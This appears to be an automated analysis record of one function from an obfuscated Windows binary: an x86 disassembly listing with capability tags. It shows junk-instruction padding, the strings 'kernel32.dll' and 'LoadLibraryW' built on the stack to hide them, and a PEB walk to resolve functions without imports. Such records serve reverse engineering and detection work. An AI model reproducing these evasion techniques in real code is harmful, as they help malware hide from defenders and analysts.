Function at 0x416f6b
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ecx
xor ecx, 0x2ab2
sub ecx, 0xf1b9
pop ecx
push eax
push edi
add esp, 4
add eax, 0x6f94
pop eax
push edi
push edi
add esp, 4
xor edi, 0xf852
and edi, 0x179ab
and edi, 0x4c62
pop edi
lea ecx, [ebp - 0x1734]
mov dword [ebp - 0xc94], ecx
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc90], eax
xor ecx, ecx
mov word [ebp - 0x20c], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push ecx
sub ecx, 0xec64
or ecx, 0x39b5
and ecx, 0x9d5c
pop ecx
push ebx
push ebx
add esp, 4
call fcn.00416cb5
add byte [ebx + 0x4c], al
inc edx
dec ecx
cmp cl, byte [edi + 0x4d]
aas
salc
add byte [eax], al
or ecx, 0xefe6
pop ecx
push edx
jmp 0x416d44
and edx, 0x78c8
pop edx
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x416d6e
movzx eax, word [ebp - 0x20c]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15d8], eax
jmp 0x416dd1
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x416c8d
movzx ecx, word [ebp - 0x20c]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x416c8d
movzx eax, word [ebp - 0x20c]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x416dbb
mov dword [ebp - 0x15d4], 0xffffffff
jmp 0x416dc5
mov dword [ebp - 0x15d4], 1
mov edx, dword [ebp - 0x15d4]
mov dword [ebp - 0x15d8], edx
cmp dword [ebp - 0x15d8], 0
jne 0x416e1a
push edx
push ecx
add esp, 4
or edx, 0x75cd
jmp 0x416deb
and edx, 0x175ce
pop edx
push ebx
or ebx, 0xa8ea
sub ebx, 0xfcd
or ebx, 0x12913
xor ebx, 0x1209d
pop ebx
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x318], eax
jmp 0x416e82
push edi
and edi, 0x6aba
pop edi
push esi
push eax
add esp, 4
sub esi, 0x39b1
pop esi
push esi
push ebx
add esp, 4
or esi, 0x11b3e
add esi, 0xd61f
add esi, 0xf4b5
xor esi, 0x7484
pop esi
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x416e78
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x416c2e
mov dword [ebp - 0x318], 0
push edi
push eax
add esp, 4
call 0x416e96
add byte [esi + 0x48], al
cmp al, 0x4a
aaa
inc ecx
xor bh, byte [eax]
inc edi
add esp, 4
and edi, 0xb3f5
pop edi
push ebx
xor ebx, 0xc2ba
or ebx, 0x15e8c
sub ebx, 0x6aa
pop ebx
cmp dword [ebp - 0x318], 0
jne 0x4177cd
mov edx, 0x6b
mov word [ebp - 0x1770], dx
mov eax, 0x65
mov word [ebp - 0x176e], ax
mov ecx, 0x72
mov word [ebp - 0x176c], cx
mov edx, 0x6e
mov word [ebp - 0x176a], dx
mov eax, 0x65
mov word [ebp - 0x1768], ax
mov ecx, 0x6c
mov word [ebp - 0x1766], cx
mov edx, 0x33
mov word [ebp - 0x1764], dx
mov eax, 0x32
mov word [ebp - 0x1762], ax
mov ecx, 0x2e
mov word [ebp - 0x1760], cx
mov edx, 0x64
mov word [ebp - 0x175e], dx
mov eax, 0x6c
mov word [ebp - 0x175c], ax
mov ecx, 0x6c
mov word [ebp - 0x175a], cx
xor edx, edx
mov word [ebp - 0x1758], dx
push esi
call 0x416f6b
add byte [ecx + edi + 0x42], al
inc ebx
xor al, 0x4c
inc esi
dec ecx
dec ebx
cmp al, byte [ebx + 0x535e04c4]
push ecx
add esp, 4
xor ebx, 0x63fd
and ebx, 0x16a27
jmp 0x416f85
sub ebx, 0x7216
pop ebx
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x6f
mov byte [ebp - 0x892], 0x61
mov byte [ebp - 0x891], 0x64
mov byte [ebp - 0x890], 0x4c
mov byte [ebp - 0x88f], 0x69
mov byte [ebp - 0x88e], 0x62
mov byte [ebp - 0x88d], 0x72
mov byte [ebp - 0x88c], 0x61
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x79
mov byte [ebp - 0x889], 0x57
mov byte [ebp - 0x888], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1954], eax
mov ecx, dword [ebp - 0x1954]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1958], edx
mov eax, dword [ebp - 0x1958]
mov dword [ebp - 0x15dc], eax
push edi
and edi, 0xd52e
sub edi, 0xf27f
pop edi
push esi
push ebx
add esp, 4
xor esi, 0x3a1e
pop esi
push edx
push edi
add esp, 4
or edx, 0xf9ae
add edx, 0xc67e
and edx, 0xb3f1
pop edx
cmp dword [ebp - 0x15dc], 0
jne 0x417058
mov dword [ebp - 0x750], 0
jmp 0x417314
mov ecx, dword [ebp - 0x15dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca4], eax
push eax
push edx
add esp, 4
or eax, 0x344d
pop eax
push ecx
jmp 0x41707d
jmp 0x417083
pop ecx
push esi
push edi
add esp, 4
and esi, 0x181e3
sub esi, 0x5cbb
add esi, 0x12ec9
pop esi
cmp dword [ebp - 0xca4], 0
jne 0x4170b4
mov dword [ebp - 0x750], 0
invalid